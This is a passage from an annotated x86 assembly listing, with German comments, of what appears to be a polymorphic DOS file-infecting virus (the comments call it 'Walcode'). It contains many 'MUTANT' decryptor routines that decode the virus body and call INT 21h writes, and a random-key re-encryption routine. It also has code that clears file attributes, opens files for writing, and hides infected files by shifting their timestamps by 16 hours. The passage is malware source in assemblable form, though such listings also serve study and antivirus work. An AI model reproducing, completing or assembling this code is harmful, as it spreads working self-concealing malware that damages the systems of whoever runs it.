DX,BX + ADD BX,0DC61h + MOV CX,ZweiByte + CALL J03CEA + TEST BYTE Ptr DS:[D2433],0FEh + JZ J03CF2 + MOV DX,ES + MOV DS,DX + JMP_ENTRY 28,mut_28 + +J03D18: POP AX + POP AX + MOV BX,AX + POP AX + MOV CX,AX + XOR AH,AH + OR AH,40h ; AH = 40h + CALL_INT21 28,mut_28 + JMP J03CF9 + +J03D29: MOV BX,CS +J03D2B: MOV DS,BX + POP DX + PUSH DX + RETN +;===================================================================== +;====================================================( MUTANT # 26)=== +;===================================================================== +mut_26 EQU $ + SUB BX,+02h ; = OFFSET 4BB5 + ADD CX,0EE3Ch + MOV AX,[BX] +J03D39: INC BX + INC BX + SUB [BX],AX + LOOP J03D39 + POP BX + XLAT ; MOV AL,[BX+AL] + POP CX + JMP SHORT J03D6C + +J03D44: POP BX + PUSH BX +J03D46: RETN + + ;--------( einsprung ) ------ +J03D47: PUSH CS + POP DS + CALL J03D44 + ADD BX,0DC5Dh + MOV CX,11C1h + MOV AX,[BX] +J03D55: INC BX + INC BX + ADD [BX],AX + LOOP J03D55 + ADD BX,0092h + CMP BYTE Ptr DS:[BX+01h],01h + JZ J03D46 + PUSH ES + AND AX,CX + POP DS + CALL_ENTRY 26,mut_26 + ;------------------- +J03D6C: MOV AH,30h + ADD AH,10h + + PUSH SI + MOV SI,1466h + CALL [SI+1100h] ; CALL INT 21h + POP SI + JMP J03D47 + +;===================================================================== +;=====================================================( MUTANT #1 )=== +;===================================================================== +MUT_1 EQU $ + SUB CX,11C4h ; = OFFSET 4BB5 + SUB BX,+02h + MOV AX,[BX] +J03D85: INC BX + INC BX + SUB [BX],AX + LOOP J03D85 + POP BX + POP CX + JMP SHORT J03DB9 + +J03D8F: POP BX + CLD + PUSH BX +J03D92: RETN + ;--------( einsprung ) ------ +J03D93: PUSH CS + POP DS + CALL J03D8F ; BX = +J03D98: SUB BX,23A3h ; BX = + MOV CX,11C1h ; CX = + MOV DX,[BX] +J03DA1: INC BX + INC BX + ADD [BX],DX + LOOP J03DA1 + PUSH BP + MOV BP,0433h + CMP BYTE PTR [BP+2000h],01h ; [2433] + POP BP + JZ J03D92 ; AUSGANG ! + PUSH ES + POP DS + CALL_ENTRY 1,mut_1 + ;----------------- +J03DB9: MOV AH,20h + ADD AH,AH ; AH = 40h => Schreiben !!!!!! + + MOV BP,2466h + CALL CS:[BP+0100h] ; CALL Int 21h ! + JMP J03D93 + DB 89H + +;===================================================================== +;====================================================( MUTANT #17 )=== +;===================================================================== +MUT_17 EQU $ + xor ax,ax ; = OFFSET 4BB5 + ADD CX,BX +J03DCC: MOV AL,[BX] + SUB [BX-01],AL + SUB BX,+02h + CMP BX,+1Fh + JNZ J03DCC + POP BX + CLD + POP CX + CALL J03E04 ; = JMP 3E04 + ;--------( einsprung ) ------ +J03DDF: PUSH CS + STD + POP DS + POP AX ; AX = + CALL J03E11 ; AX = + XCHG AX,BX ; BX = + MOV CX,ZweiByte ; CX = + SUB BX,+1Eh ; BX = + +J03DED: MOV DL,[BX] + ADD [BX-01h],DL + DEC BX ; (!!!!!) + CMC + DEC BX + LOOP J03DED + ; BX = + CMP BYTE Ptr DS:[D2433],01h + JZ J03E13 + PUSH ES + CMC + POP DS + CALL_ENTRY 17,mut_17 + +J03E04: POP AX + XOR AH,AH + OR AH,40h ; AH = 40h, SCHREIBEN + + CALL DS:[@INT21] ; CALL INT 21h + CALL J03DDF +J03E11: POP AX + PUSH AX +J03E13: RETN +;===================================================================== +;====================================================( MUTANT # 16)=== +;===================================================================== +MUT_16 EQU $ + ADD BX,CX ; = OFFSET 4BB5 + MOV CX,0001h + INC CX ; CX = 2 +J03E1A: MOV AL,[BX] + ADD [BX-01h],AL + SUB BX,CX + CMP BX,+1Fh + JNZ J03E1A + POP BX + POP CX + CALL J03E4F + ;--------( einsprung ) ------ +J03E2B: POP BX ; BX = + PUSH CS + POP DS + CALL J03E5C ; AX = + + XCHG AX,BX ; AX = + SUB BX,+1Dh ; BX = + MOV CX,ZweiByte ; CX = + +J03E38: MOV AL,[BX] + SUB [BX-01h],AL + DEC BX + DEC BX + LOOP J03E38 + ; BX = + CMP BYTE Ptr DS:[D2433],01h + JZ J03E5E + PUSH ES + SUB AX,AX + POP DS + CALL_ENTRY 16,mut_16 +;---------------------------------------------------------------------- +J03E4F: POP AX + MOV AH,40h ; AH = 40h + + PUSH SI + MOV SI,Offset @INT21+2 ; Schreiben ? Int 21h ? +J03E56: CALL SI + POP SI + CALL J03E2B +J03E5C: POP AX + PUSH AX +J03E5E: RETN + DB 0ebh +;===================================================================== +;===================================================( MUTANT # 18 )=== +;===================================================================== +mut_18 EQU $ +J03E60: NOT BYTE Ptr DS:[BX] ; = OFFSET 4BB5 + NEG BYTE Ptr DS:[BX] + ADD BX,+01h + LOOP J03E60 + POP BX + CLD + POP CX + CALL_INT21 18,mut_18 + JMP SHORT J03E78 + +J03E71: MOV DX,CS + MOV DS,DX + CALL J03E7B + ;--------( einsprung ist $-1 )------- + ; ADD BH,DL + ; JMP J03E71 + ;------------------------------------- + +J03E78: XLAT ; MOV AL,[BX+AL] + JMP J03E71 + +J03E7B: POP DX ; DX = + SUB DX,239Dh ; DX = + STC + XCHG BX,DX ; BX = + MOV CX,CODE_LEN XOR 0F0FH ; CX = + CLC + XOR CX,0F0Fh ; CX = +J03E8B: NEG BYTE Ptr DS:[BX] + NOT BYTE Ptr DS:[BX] + INC BX + STD + LOOP J03E8B + ; BX = + MOV CH,8Dh ; CX = + MOV AL,01h + ADD AL,CH ; + XLAT ; MOV AL,[BX+AL] ; AL = [] + CLC + CMP AL,01h + JZ J03E56 ;-<<>>--< ZEIGT AUF L0L0L0 >-----<<>>-- + + MOV CX,ES + MOV AX,SS + + SUB AX,AX ; AX <- 0 + PUSH DS + MOV DS,CX ; DS <- ES + POP CX ; CX <- DS + JMP_ENTRY 18,mut_18 +;===================================================================== +;====================================================( MUTANT #30 )=== +;===================================================================== +Mut_30 EQU $ +J03EAC: NEG BYTE Ptr DS:[BX] ; = OFFSET 4BB5 + NOT BYTE Ptr DS:[BX] + INC BX + LOOP J03EAC + POP CX + POP BX + XCHG CX,BX + CALL_INT21 30,mut_30 + JMP SHORT J03EC3 + +J03EBC: MOV AX,CS + MOV DS,AX + CALL J03EC5 ; + ;-------( einsprung )-------------- +J03EC3: JMP J03EBC + +J03EC5: POP AX ; AX = + SUB AX,239Ch ; AX = + XCHG AX,BX ; BX = + + MOV CX,CODE_LEN XOR 0FDABH ; + XOR CX,0FDABh ; CX = 2385 + +J03ED1: NOT BYTE Ptr DS:[BX] + NEG BYTE Ptr DS:[BX] + INC BX + LOOP J03ED1 + ; BX = + MOV AL,8Eh + XLAT ; MOV AL,[BX+AL]; AL = [] + CMP AL,01h + JZ J03EF2 + MOV AX,ES + MOV BX,AX ; BX <- ES + PUSH DS + MOV DS,BX ; DS <- ES + POP BX ; BX <- DS + SUB AX,AX ; AX <- 0 + JMP_ENTRY 30,mut_30 + +;-------------------------------------------------------- + Dw 8903h,0A5EFh,0CC14H +J03EF2: RET + dw 0c111h,0b4deh +;===================================================================== +;=====================================================( MUTANT # 8)=== +;===================================================================== +mut_8 EQU $ + PUSH BP ; = OFFSET 4BB5 + INC BX + DEC CX + CALL J03F06 +J03EFE: DEC CX + NEG BYTE Ptr DS:[BX] + ADD BX,+02h + DEC CX +J03F05: RETN + +J03F06: POP BP ; BP = +J03F07: CALL J03EFE + JZ J03F3C + JMP J03F07 + +J03F0E: PUSH BP + ;-------( einsprung )-------------- + PUSH CS +J03F10: CLC + POP DS ; DS = CS + CALL J03F38 ; BP = OFFSET $+3 +J03F15: MOV CL,84h ; CX = xx84 + SUB BP,23A1h ; BP = 2831 + MOV BX,BP ; BX = 2831 + MOV CH,23h ; CX = 2384 +J03F1F: CALL J03EFE + JNZ J03F1F ; = LOOP 3F1F + + MOV AX,BP ; AX=BP=2831 + MOV BP,BX ; BX=4C00 + ADD BP,008Eh ; BP= + DEC BYTE PTR [BP+00h] ; + POP BP ; BP=egal + JZ J03F05 ; = RET + PUSH ES + POP DS + PUSH AX ; AX=2831 + MOV AX,CX ; AX = 0 +J03F38: POP BP ; BP=2831 + PUSH CS + PUSH BP + RETF ; JMP FAR CS:2830 + +J03F3C: POP BP + POP BX + POP CX + CALL_INT21 8,mut_8 + JMP J03F0E +;===================================================================== +;=====================================================( MUTANT #7 )=== +;===================================================================== +Mut_7 EQU $ + INC BX ; = OFFSET 4BB5 + PUSH DX + DEC CX +J03F47: CALL J03F52 +J03F4A: NOT BYTE Ptr DS:[BX] + DEC CX + ADD BX,+02h + DEC CX + RETN + +J03F52: POP DX +J03F53: CALL J03F4A + JZ J03F86 + JMP J03F53 + +J03F5A: PUSH DX + ;-------( einsprung )-------------- + PUSH CS +J03F5C: POP DS + CALL J03F83 ; DX = +J03F60: SUB DX,23A0h ; DX = + MOV BX,DX ; BX = + MOV CX,8423h + XCHG CL,CH ; CX = 2384 +J03F6B: CALL J03F4A + JNZ J03F6B ; LOOP + XCHG AX,DX ; AX = + MOV DX,BX ; BX = , DX = BX + ADD DX,008Eh ; DX = + XCHG DX,BX ; BX = , DX = + DEC BYTE Ptr DS:[BX] + POP DX ; DX = ???? + JZ J03F85 + PUSH ES + POP DS ; DS = ES + PUSH AX + XOR AX,AX ; AX = 0 +J03F83: POP DX ; DX = + PUSH DX +J03F85: RETN ; JMP 2831 +;--------------------------------------------------------------- +J03F86: POP DX ; + POP BX + POP CX +J03F89: + CALL_INT21 7,mut_7 + XLAT ; MOV AL,[BX+AL] + CLC +J03F8E: JMP J03F5A +;===================================================================== +;===================================================( MUTANT # 12 )=== +;===================================================================== +mut_12 EQU $ + JMP SHORT J03FA0 ; = OFFSET 4BB5 + +J03F92: POP BX + MOV AH,40h + POP CX + CALL_INT21 12,mut_12 +;========================================================== +J03F99: JMP SHORT J03FA7 + +J03F9B: POP BX + PUSH CS + POP DS + PUSH BX + RETN + +J03FA0: CALL J03FCC + JNZ J03FA0 + JMP J03F92 + + ;-------( einsprung )-------------- +J03FA7: CALL J03F9B +J03FAA: MOV CX,239Fh ; BX = ; DS = CS + SUB BX,CX ; CX = + SUB CX,+1Ah ; CX = +J03FB2: CALL J03FCC + JNZ J03FB2 + XOR BYTE Ptr DS:[BX+008Eh],01h + JZ J03FCB + CALL J03F9B +J03FC1: SUB BX,23B4h ; BX = , BX <- + DEC BX ; BX = + MOV AX,CX + PUSH BX ; + PUSH ES + POP DS +J03FCB: RETN ; = JMP 2831 + +J03FCC: PUSH [BX] + POP AX + XOR [BX+02h],AL + XOR [BX+01h],AL + ADD BX,+03h + SUB CX,+03h + RETN +;===================================================================== +;===================================================( MUTANT # 11 )=== +;===================================================================== +Mut_11 EQU $ + JMP SHORT J03FEC ; = OFFSET 4BB5 + +J03FDE: POP BX + POP CX + MOV AH,40h + CALL_int21 11,mut_11 + JMP SHORT J03FF3 + +J03FE7: POP BX + PUSH BX + PUSH CS + POP DS +J03FEB: RETN + +J03FEC: CALL J04019 + JNZ J03FEC + JMP J03FDE + + ;-------( einsprung )-------------- +J03FF3: CALL J03FE7 +J03FF6: MOV AX,239Fh ; BX = + SUB BX,AX ; BX = + MOV CX,001Ah ; CX = + XOR CX,AX ; CX = 2385 +J04000: CALL J04019 + JNZ J04000 + XOR BYTE Ptr DS:[BX+008Eh],01h + JZ J03FEB + CALL J03FE7 +J0400F: SUB BX,23B7h ; BX <- + PUSH BX ; RET + PUSH ES + MOV AX,CX + POP DS + RETN + +J04019: MOV AH,[BX] + XOR [BX+01h],AH + XOR [BX+02h],AH + ADD BX,+03h + SUB CX,+03h + RETN +;===================================================================== +;====================================================( MUTANT # 14)=== +;===================================================================== +Mut_14 EQU $ + JMP SHORT J04042 ; = OFFSET 4BB5 + +J0402A: POP AX + MOV BX,AX + POP AX + PUSH SI + MOV CX,AX + PUSH word ptr DS:[@INT21] + MOV AX,4000h ; Schreiben ! + + POP SI + CALL SI ; CALL INT 21h + POP SI + STC + NOP + CLC + ;-------( einsprung )-------------- + JMP J04049 + +J04042: INC BYTE Ptr DS:[BX] + INC BX + LOOP J04042 + JMP J0402A + +J04049: CALL J0406E + MOV CX,Code_Len + SUB BX,23A9h +J04053: DEC BYTE Ptr DS:[BX] + INC BX + LOOP J04053 + + PUSH BP + MOV BP,BX + ADD BP,008Eh + XOR AX,AX + CMP BYTE PTR [BP+00h],01h + POP BP + JZ J04072 + PUSH ES + POP DS + JMP_entry 14,mut_14 + +J0406E: PUSH CS +J0406F: POP DS + POP BX + PUSH BX +J04072: RETN + + DB 0CDh +;===================================================================== +;====================================================( MUTANT # 10)=== +;===================================================================== +mut_10 EQU $ + PUSH AX + DEC CL + JMP SHORT J0408F + +J04079: MOV AL,[BX] + INC BX + MOV AH,[BX] + XCHG AL,AH + MOV [BX-01h],AL + DEC CX + MOV [BX],AH + INC BX + XOR AX,AX + DEC CX +J0408A: RETN + + ;-------( einsprung )-------------- +J0408B: PUSH CS + POP DS + JMP SHORT J040A2 + +J0408F: CALL J04079 + CLC + JNZ J0408F + POP AX + POP BX + POP CX + + PUSH BP + PUSH word ptr DS:[@INT21] + POP BP + CALL DS:BP ; CALL Int 21H + POP BP +J040A2: CALL J040A5 +J040A5: MOV CX,2384h ; CX = 2384 + POP BX ; BX = 40A5 + SUB BX,23B6h ; BX = 1cef +J040AD: CALL J04079 + JNZ J040AD + CMP BYTE Ptr DS:[BX+008Fh],01h + CLD + JZ J0408A + PUSH ES +J040BB: POP DS + JMP_ENTRY 10,mut_10 + DB 089h +;===================================================================== +;====================================================( MUTANT # 29)=== +;===================================================================== +Mut_29 EQU $ + DEC CX ; = OFFSET 4BB5 + PUSH AX + JMP SHORT J040DB + +J040C4: MOV AL,[BX] + INC BX + MOV AH,[BX] + XCHG AH,AL + MOV [BX-01h],AL + MOV [BX],AH + INC BX + XOR AX,AX + SUB CX,+02h +J040D6: RETN + + ;-------( einsprung )-------------- +J040D7: PUSH CS + POP DS + JMP SHORT J040F0 + +J040DB: CALL J040C4 + JNZ J040DB + POP AX + POP BX + STI + + POP CX + PUSH word ptr DS:[@INT21] + POP word ptr DS:[D259A] + CALL WORD PTR DS:[D259A] ; CALL INT 21H +J040F0: CALL J040F3 +J040F3: POP BX ; BX = + SUB BX,23B8h ; BX = + MOV CX,2384h ; CX = 2384 +J040FB: CALL J040C4 + JNZ J040FB + CMP BYTE Ptr DS:[BX+008Fh],01h + JZ J040D6 +J04107: PUSH ES + POP DS + JMP_ENTRY 29,mut_29 +;===================================================================== +;====================================================( MUTANT # 15)=== +;===================================================================== +mut_15 EQU $ + PUSH DX ; = OFFSET 4BB5 + MOV DH,[BX-01h] + PUSH AX +J04111: MOV DL,[BX] + DEC DH + XOR [BX],DH + XCHG DH,DL + ADD BX,+01h + LOOP J04111 + POP CX + POP AX + JMP J04128 + + ;-------( einsprung )-------------- +J04123: CALL J04126 +J04126: JMP SHORT J04135 + +J04128: MOV DX,AX + POP AX + MOV BX,AX + POP AX + XCHG AX,CX + + CALL DS:[@INT21] ; CALL INT 21 + JMP J04123 + +J04135: POP BX ; BX = + MOV CX,Code_Len ; CX = 2385 + PUSH CS + SUB BX,239Fh ; BX = + POP DS + +J0413F: MOV AL,[BX-01h] + DEC AL + XOR [BX],AL + INC BX + LOOP J0413F + CMP BYTE Ptr DS:[BX+008Eh],01h ; + JNZ J04151 + RETN + +J04151: PUSH ES + XOR AX,AX + POP DS + JMP_ENTRY 15,mut_15 +;===================================================================== +;=====================================================( MUTANT #6 )=== +;===================================================================== +mut_6 EQU $ + DEC CL ; = OFFSET 4BB5 +J0415A: XOR BYTE Ptr DS:[BX],67h + INC BX + DEC CX + INC BX + DEC CX + JNZ J0415A + + PUSH word ptr DS:[@INT21] + POP word ptr DS:[D2598+1] + POP BX + POP CX + JMP SHORT J04172 + + ;-------( einsprung )-------------- +J0416F: CALL J041A1 +J04172: CALL WORD PTR DS:[D2598+1] ; == call Int 21 + JMP J0416F + +J04178: MOV AX,0002h ; AX = 0002 + ADD BX,0DD61h ; BX = + DEC BH ; BX = + MOV CX,2184h ; CX = 2184 + PUSH CS + XOR CH,AL ; CX = 2386 + POP DS + +J04188: XOR BYTE Ptr DS:[BX],67h + DEC CX + ADD BX,AX ; Jedes 2 byte verXORen + DEC CX + JNZ J04188 ; 11C3 (!!!) mal :) + + ADD BX,008Fh ; BX = + DEC BYTE Ptr DS:[BX]; + PUSH ES + POP DS + JNZ J0419C ; <- BX+8E + RETN + +J0419C: MOV AX,CX + JMP_ENTRY 6,mut_6 + +J041A1: POP BX + JMP J04178 +;===================================================================== +;====================================================( MUTANT # 25)=== +;===================================================================== +mut_25 EQU $ + DEC CX ; = OFFSET 4BB5 +J041A5: XOR BYTE Ptr DS:[BX],0E8h + ADD BX,+02h + SUB CX,+02h + JNZ J041A5 + POP BX + PUSH word ptr DS:[@INT21] + POP word ptr DS:[D2598] + JMP SHORT J041BE + + ;-------( einsprung )-------------- +J041BB: CALL J041EC +J041BE: POP CX + + CALL [D2598] + JMP J041BB + +J041C5: MOV AX,0002h ; AX = 2,BX = + ADD BX,0DC61h ; BX = + MOV CX,2386h ; CX = 2386 + PUSH CS + XOR CX,AX ; CX = 2384 + POP DS +J041D3: XOR BYTE Ptr DS:[BX],0E8h + ADD BX,AX + SUB CX,AX + JNZ J041D3 + ; BX = + ADD BX,008Fh ; BX = + DEC BYTE Ptr DS:[BX] + PUSH ES + POP DS + JNZ J041E7 + RETN + +J041E7: MOV AX,CX + JMP_entry 25,mut_25 + +J041EC: POP BX + JMP J041C5 + + db 33h +;===================================================================== +;=====================================================( MUTANT #4 )=== +;===================================================================== +mut_4 EQU $ + PUSH DX ; = OFFSET 4BB5 + MOV DH,[BX-01] +J041F4: MOV DL,[BX] + XOR [BX],DH + XCHG DH,DL + ADD BX,+01h + LOOP J041F4 + POP DX + STI + POP BX + POP CX + + CALL DS:[@INT21] ; CALL Int 21 + ;----( einsprung )---- + CALL J0420D +J0420A: INC AX + XOR BX,SI +J0420D: OR SI,SI + INC BH + POP BX ; BX = + SUB BX,23A1h ; BX = + ADD BX,+02h ; BX = + MOV CX,2485h + DEC CH ; CX = 2385 + PUSH CS + POP DS +J04220: MOV AL,[BX-01h] + XOR [BX],AL + INC BX + LOOP J04220 + ; BX = + ADD BX,008Eh ; BX = + XCHG BX,SI + DEC BYTE Ptr DS:[SI] + JNZ J04235 + XCHG SI,BX + RETN + +J04235: PUSH ES + XOR AX,AX + POP DS + JMP_ENTRY 4,mut_4 +;===================================================================== +;====================================================( MUTANT #13 )=== +;===================================================================== +mut_13 EQU $ + PUSH DX ; = OFFSET 4BB5 + MOV DH,[BX-01h] +J04240: MOV DL,[BX] + ADD [BX],DH + XCHG DL,DH + INC BX + LOOP J04240 + + POP DX + POP BX + POP CX + PUSH SI + MOV SI,2567h + + DEC SI + CALL [SI] + ;--------( einsprung ) ------ + CALL J04258 + XOR BX,SI +J04258: XOR SI,1876h + POP BX + POP SI + SUB BX,Code_start ; BX = 2830 + MOV CX,Code_Len ; CX = 2385 wal-size + PUSH CS + POP DS +J04267: MOV AL,[BX-01h] + SUB [BX],AL + INC BX + LOOP J04267 + ADD BX,008Eh + XCHG SI,BX + DEC BYTE Ptr DS:[SI] + JNZ J0427C + XCHG BX,SI + RETN + +J0427E equ $+3 ; SPRUNGZIEL FR M#19, zeigt auf L0L0L0 +J0427C: PUSH ES + XOR AX,AX + POP DS + JMP_ENTRY 13,mut_13 + + DW 0CE8BH + DW 05605H + DB 34H +;===================================================================== +;====================================================( MUTANT # 19)=== +;===================================================================== +mut_19 EQU $ + PUSH AX ; = OFFSET 4BB5 +J04289: XOR BYTE Ptr DS:[BX],05h + INC BYTE Ptr DS:[BX] + INC BX + LOOP J04289 + POP AX + INC BX + INC CX + STD + STC + PUSH AX + XLAT ; MOV AL,[BX+AL] + POP AX + POP BX + POP CX + + CALL DS:[@INT21] ; CALL INT 21h + ;-------( einsprung )-------------- + CALL J042A5 + +J042A2: MOV BX,5601h +J042A5: POP BX ; BX = + SUB BX,239Fh ; BX = + MOV CX,8934h + MOV CX,code_len ; CX = 2385 + PUSH CS + PUSH AX + MOV AX,0000h + MOV DS,AX + POP AX + POP DS ; DS=CS ! +J042B9: DEC BYTE Ptr DS:[BX] + XOR BYTE Ptr DS:[BX],05h + INC BX + LOOP J042B9 + MOV CX,0023h + DEC BYTE Ptr DS:[BX+008Eh] + JZ J0427E + + PUSH ES + MOV CX,0000h + POP DS + JMP_ENTRY 19,mut_19 + + DW 0FBC3h +;===================================================================== +;=====================================================( MUTANT #2 )=== +;===================================================================== +Mut_2 EQU $ + PUSH AX ; = OFFSET 4BB5 + XLAT ; MOV AL,[BX+AL] +J042D6: XOR BYTE Ptr DS:[BX],10h + ADD BX,+01h + LOOP J042D6 + POP AX + POP BX + POP CX + PUSH SI + MOV SI,Offset @INT21 + CLC + + CALL [SI] ; CALL Int 21 + CLC + POP SI + INC BX + ;-------( einsprung )-------------- + CALL J04317 + +J042EE: SUB BX,239Fh ; BX = + MOV CX,2387h + DEC CX + STC + DEC CX ; CX = 2385 + +J042F8: XOR BYTE Ptr DS:[BX],10h + ADD BX,+01h + LOOP J042F8 + ; BX = + MOV CX,BX + MOV CX,008Eh + ADD BX,CX ; BX = + DEC BYTE Ptr DS:[BX] + JZ J0430D + JMP SHORT J0430E + +J0430D: RETN + +J0430E: PUSH ES + MOV AX,0000h + POP DS + CLC + JMP_ENTRY 2,mut_2 + ;---------------- +J04317: POP BX + PUSH BX + PUSH CS + PUSH CX + STC + POP CX + POP DS + CLC + RETN +;===================================================================== +;======================================================( MUTANT #9)=== +;===================================================================== +Mut_9 EQU $ +J04320: ADD BYTE Ptr DS:[BX],05h ; = OFFSET 4BB5 + ADD BX,+01h + LOOP J04320 + POP BX + INC CX + POP CX + PUSH SI + MOV SI,Offset @INT21 + + CALL [SI] ; CALL INT 21 + CLC + POP SI + INC DX + PUSH AX + POP DX + NOP + ;-------( einsprung )-------------- + CALL J0433B +J0433A: CLC +J0433B: POP BX ; BX = + SUB BX,239Fh ; BX = + MOV CH,23h + MOV CL,85h ; CX = 2385 + CALL J04360 ; DS = CS + +J04347: SUB BYTE Ptr DS:[BX],05h + INC BX + CLC + ADD DX,+12h + LOOP J04347 + ADD BX,008Eh ; BX = + DEC BYTE Ptr DS:[BX] + JNZ J04364 + RETN + + INC BX + ADD CX,0D7Ah + XLAT ; MOV AL,[BX+AL] +J04360: PUSH CS + POP DS + RETN + + DB 0A4H +J04364: PUSH ES + POP DS + JMP_Entry 9,mut_9 + DB 25H + DB 26H + DB 85h +;===================================================================== +;========================================( Kodiert 1274h... 1B5Ch )=== +;========================================( == 3A84 .. 436Ch )=== +;===================================================================== +Code_3A84: MDECODE 68 +J04371: MOV BX,Offset J03A84-Offset VirStart ; 1274h + MOV CX,Offset Code_3A84-Offset J03A84 ; 08E8h +J04377: IN AL,40h + OR AL,00h + JZ J04377 + +J0437D: XOR CS:[BX],AL + INC BX + LOOP J0437D + + CALL J04386 +J04386: POP BX + ADD BX,OFFSET XORBYTE_7D - Offset J04386 ; +1E + ; GEGENSTUECK IST DORT ! + MOV CS:[BX],AL + MCODE 68 + RETN +;===================================================================== +;======================================( Dekodiert 1274h... 1B5Ch )=== +;===================================================================== +Decode_3A84: MOV BX,Offset J03A84-Offset VirStart ; 1274h + MOV CX,Offset Code_3A84-Offset J03A84 ; 08E8h + ;CALL J04984 ; wie ist es mit dem RET ??? + CALL J043A1 ; muesste CALL 43A1 heissen . + + DB 90h + DB 70h + db 90h + db 91h + db 7dh + db 73h + +J043A1: XOR BYTE PTR CS:[BX],00 ; <---- ! + +XORBYTE_7D EQU $-1 ; !!!!!!!! + + INC BX + LOOP J043A1 + RETN +;====================================================================== + DB 02eh,0c7h,006h,099h + DB 007h,000h,000h,0e8h +;================================================================== +;===========================================( Vorarbeiten )======== +;================================================================== +J043B1: MDECODE 69 + CALL Trace_int_13h + PUSH DX + MOV AH,36h ; Get free Space on Disk + MOV DL,CS:[D2428] ; DL = Disk + CALL CS:[@INT21] + MUL CX + MUL BX ; AX*BX*CX = Free space in Byte + MOV BX,DX ; DX = Total Clusters on disk + POP DX + OR BX,BX + MCODE 69 + JNZ J043DA + +J043D5: CMP AX,4000h + JB J0443D + +J043DA: MOV AX,4300h ; GET FILE-ATTRIBUT + CALL CS:[@INT21] + JB J0443D + + MDECODE 70 + MOV CS:[D24F4],DX ; Offset Filename + MOV CS:[D24F2],CX ; File-Attribut + MOV CS:[D24F6],DS ; Segment Filename + + MOV AX,4301h ; SET File-Attribut + XOR CX,CX + CALL CS:[@INT21] + CMP BYTE PTR CS:[Error],00h + + MCODE 70 + JNZ J0443D + + MOV AX,3D02h ; OPEN FILE / HANDLE + CALL CS:[@INT21] + JB J0443D + + MDECODE 71 + MOV BX,AX ; HANDLE NACH BX + PUSH BX + MOV AH,32h ; GET DISK INFO + MOV DL,CS:[D2428] ; DRIVE NR. + CALL CS:[@INT21] + MOV AX,[BX+1Eh] ; DS:BX : DISK-INFO-BLOCK + MOV CS:[D24EC],AX + POP BX + CALL J048CD + MCODE 71 + RETN + DB 0B4h +;=================================================( Fehler melden )=== +J0443D: MDECODE 72 + xor bx,bx + dec bx ; BX = 0ffffh + call J048CD + MCODE 72 + ret +;===================================================================== +;================================================( INT 24-Handler )=== +;===================================================================== +J0444D: MDECODE 73 + XOR AL,AL + MOV BYTE PTR CS:[Error],01h + MCODE 73 + IRET + DB 8Ch +;===================================================================== +;==================================( Checkt die Uhrzeit des Files )=== +;===================================================================== +CheckFileTime: MDECODE 74 + PUSH CX + PUSH DX + PUSH AX + MOV AX,4400h ; Get IOCTL-Dev.Info + CALL CS:[@INT21] ; Handle in BX + XOR DL,80h ; DL and 80h = 1: Device, + ; DL and 80h = 0: Diskfile + TEST DL,80h ; + JZ J04483 ; es war KEIN Diskfile ! + + MOV AX,5700h ; Get File-Timestamp + CALL CS:[@INT21] + TEST CH,80h ; Stunde >= 16 ? +J04483: POP AX + POP DX + POP CX + MCODE 74 + RETN + DB 0F6h +;===================================================================== +;======================( von INT 3/21h angesprungen, falls AH=40h )=== +;===================================================================== +J0448C: CMP Word PTR CS:[D2581],4 ; FILEHANDLE + JB J044BA ; KEIN FILE ! + PUSH CS + POP BX + SUB BH,20h ; 2 Segmente vor CS + MOV AX,CS:[D257B] ; AX := SAVE-DS + CMP AX,BX ; Ist SAVE-DS hher + JB J044BA ; als D257B, z.B. das + MOV CS:[D257B],BX ; DS des COMMAND.COM + JMP SHORT J044BA + DB 0E8h +;===================================================================== +;=================================( von INT 3=INT 21 angesprungen )=== +;===================================================================== +J044A9: SUB BYTE PTR CS:[SwapCode_7],52h + PUSH CS:[D2579] ; SAVE-AX + POP CX + CMP CH,40h ; WRITE File + ;============================================================= + ;durch das obige "SUB BYTE PTR CS:[1CA8h]" wird folgender Code + ;============================================================= +SwitchByte EQU $ + DB 0C6h ; aus 0c6h wird 074h, Spiel mit Queue! + DB 0D2H ; es sind genau 8 Byte dazwischen..... + ;============================================================= + ; folgendermassen verndert : + ;============================================================= + ; JZ J0448C + ;============================================================= +J044BA: + POP Word Ptr DS:[000Eh] ; INT 3 restaurieren + POP Word Ptr DS:[000Ch] + ADD BYTE PTR CS:[SwapCode_7],52h + CALL RestoreRegs + JMP J02AFB +;===================================================================== +;=================================================( Get File-Size )=== +;===================================================================== +GetFileSize: MDECODE 75 + CALL SaveRegisters + + XOR CX,CX + MOV AX,4201h ; SEEK von momentaner Position + XOR DX,DX ; 0 (!) byte weiter + CALL CS:[@INT21] + MOV Word ptr CS:[FilePos+2],DX + ; in DX:AX ist neue/alte Position + MOV Word ptr CS:[FilePos ],AX + + MOV AX,4202h ; SEEK zum File-Ende + XOR CX,CX + XOR DX,DX + CALL CS:[@INT21] + + MOV Word ptr CS:[FileSize+2],DX ; File-Laenge zurck + MOV Word ptr CS:[FileSize ],AX + + MOV AX,4200h ; SEEK zur alten Position + MOV DX,Word ptr CS:[FilePos ] + MOV CX,Word ptr CS:[FilePos+2] + CALL CS:[@INT21] + + CALL GetRegsFromVirstack + MCODE 75 + RETN +;===================================================================== +;======================================( INT 3 aus INT 21-Handler )=== +;===================================================================== +J0451A: POP AX ; POP IP + POP BX ; POP CS + POP CX ; POP Flags + JMP J044A9 +;===================================================================== +;=================================( Handler fr Get/Set Filedatum )=== +;===================================================================== +J0451F: OR AL,AL ; GET File-Date ?? + JNZ J04550 ; Nein, SET ! + ;---------------------------------( get file-date )--- + MDECODE 76 + AND WORD PTR CS:[D24B3],0FFFEH ; clear CF + CALL PopALL + CALL CS:[@INT21] + MCODE 76 + JB J04547 + TEST CH,80h ; FILE-STUNDE > 16 ? + JZ J04544 + SUB CH,80h ; Wenn ja, 16 abziehen +J04544: JMP IRET_Int21h ; INT 21 beenden + ;------------------------------------------------------ +J04547: OR WORD PTR CS:[D24B3],+01h; SET CF des Callers + JMP IRET_Int21h + ;----------------------------------( set file-date )--- +J04550: CMP AL,01h ; ist es 'set file date' ? + JNZ J045CD ; Fehler im Walcode! + ; CALL LOW-INT-21 + MDECODE 77 + AND WORD PTR CS:[D24B3],0FFFEH ; CF lschen + TEST CH,80h ; Stunde > 16 ? + MCODE 77 + JZ J0456B ; nein + SUB CH,80h ; 16 abziehen +J0456B: CALL CheckFileTime + JZ J04573 ; kein DISK-File, + ; oder Stunde < 16 + ADD CH,80h ; sonst 16 addieren + ;----------------- +J04573: MDECODE 78 + CALL CS:[@INT21] + MOV [BP-04h],AX ; Errorcode + ADC WORD PTR CS:[D24B3],+00h; = CLC + MCODE 78 + JMP J02EA3 ; fertig +;===================================================================== +;=====================================( gehrt zum INT 